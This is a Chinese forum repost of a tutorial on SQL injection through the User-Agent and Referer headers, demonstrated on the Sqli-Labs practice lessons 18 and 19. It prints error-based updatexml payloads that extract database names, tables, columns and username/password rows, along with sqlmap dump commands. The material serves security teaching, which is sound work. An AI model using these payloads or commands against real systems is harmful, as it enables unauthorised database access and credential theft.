藏宝游

 找回密码
 立即注册
查看: 113|回复: 0

[数据库] 图文详解HTTP头中的SQL注入

[复制链接]

 成长值: 530

  • TA的每日心情
    开心
    2024-3-24 02:35
  • 签到天数: 5 天

    [LV.2]圆转纯熟

    灌水成绩
    47583
    8
    247935
    主题
    帖子
    积分

    等级头衔

    ID : 2

    超级版主

    积分成就 威望 : 1
    贡献 : 0
    杰币 : 105168
    在线时间 : 165 小时
    注册时间 : 2022-1-8
    最后登录 : 2024-4-17

    荣誉勋章
    最佳新人热心会员大富翁龙年大吉
    发表于 2024-3-10 13:50:21 | 显示全部楼层 |阅读模式
    目录

      1.HTTP头中的注入介绍2.HTTP User-Agent注入3.HTTP Referer注入4.sqlmap安全测试5.HTTP头部详解总结

    HTTP头中的SQL注入

    1.HTTP头中的注入介绍

    在安全意识越来越重视的情况下,很多网站都在防止漏洞的发生。例如SQL注入中,用户提交的参数都会被代码中的某些措施进行过滤。
    过滤掉用户直接提交的参数,但是对于HTTP头中提交的内容很有可能就没有进行过滤。
    例如HTTP头中的User-Agent、Referer、Cookies等。

    2.HTTP User-Agent注入

    就拿Sqli-Lab-Less18
    这里的User-Agent是可控的,因此存在HTTP User-Agent注入
    1. INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)
    复制代码



    Payload内容:
    1. updatexml(xml_document,xpath_string,new_value):
    复制代码
    第一个参数:XML文档对象名称。
    第二个参数:XPath字符串。
    第三个参数:替换查找到的符合条件的数据。
    1.查看版本
    1. ' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1
    复制代码



    2.查看数据库
    1. ' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '1'='1
    复制代码



    3.得到数据库security,获取数据表
    1. ' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) or '1'='1
    复制代码



    4.得到数据表emails,referers,uagents,users,我们使用的是users表,获取字段名
    1. ' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security'and table_name='users'),0x7e),1) or '1'='1
    复制代码



    5.获取字段内容
    当我们使用下面的语句时,会报错Subquery returns more than 1 ro
    1. ' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users),0x7e),1) or '1'='1
    复制代码



    返回的数据有多行,我们可以使用limit限制其只返回一条数据
    1. ' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e),1) or '1'='1
    复制代码




    3.HTTP Referer注入

    以Sqli-Lab19为例
    1. ' or '1'='1
    复制代码



    1.查看版本
    1. ' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1
    复制代码



    2.查看数据库
    1. ' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '1'='1
    复制代码



    3.得到数据库security,获取数据表
    1. ' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) or '1'='1
    复制代码



    4.得到数据表emails,referers,uagents,users,我们使用的是users表,获取字段名
    1. ' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security'and table_name='users'),0x7e),1) or '1'='1
    复制代码



    5.获取字段内容
    当我们使用下面的语句时,会报错Subquery returns more than 1 row
    1. ' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users),0x7e),1) or '1'='1
    复制代码



    返回的数据有多行,我们可以使用limit限制其只返回一条数据
    1. ' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e),1) or '1'='1
    复制代码




    4.sqlmap安全测试

    抓取数据包,将抓取的全部内容,放到文本文档中,并且在有可能存在注入点的地方加入星号(*)



    1.爆破数据库
    1. python2 sqlmap.py -r 1.txt --dbs
    复制代码



    得到数据库信息



    2.爆破数据表
    1. python2 sqlmap.py -r 1.txt -D security --tables
    复制代码



    得到数据表的信息
    3.爆破字段及内容
    1. python2 sqlmap.py -r 1.txt -D security -T users --dump
    复制代码



    得到数据内容



    PS
    1.HTTP User-Agent注入和HTTP Referer注入属于放包攻击,我们在放包的过程中,必须使用正确的用户名和密码;
    2.如果探测出是HTTP头注入,在使用sqlmap跑的过程中,在末尾加上星号(*),可以提高渗透测试的效率

    5.HTTP头部详解

    User-Agent:使得服务器能够识别客户使用的操作系统,游览器版本等.(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等存入数据库中)
    Cookie:网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密).
    X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库or某文件[通过修改XXF头可以实现伪造IP])
    Clien-IP:同上,不做过多介绍.
    Rerferer:浏览器向 WEB 服务器表明自己是从哪个页面链接过来的.
    Host:客户端指定自己想访问的WEB服务器的域名/IP 地址和端口号(这个我本人还没碰到过,不过有真实存在的案例还是写上吧).

    总结

    到此这篇关于HTTP头中SQL注入的文章就介绍到这了,更多相关HTTP头中SQL注入内容请搜索咔叽论坛以前的文章或继续浏览下面的相关文章希望大家以后多多支持咔叽论坛!

    原文地址:https://www.jb51.net/article/231679.htm
    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    小黑屋|手机版|Archiver|RSS|藏宝游 ( 豫ICP备2021017492号 )|网站地图

    GMT+8, 2024-4-27 16:58 , Processed in 0.041531 second(s), 10 queries , Redis On.

    Powered by Discuz! X3.4

    本站不储存任何资源,所有资源均来自用户分享的网盘链接。
    本站为非盈利性站点,不会收取任何费用,所有内容不作为商业行为。

    快速回复 返回顶部 返回列表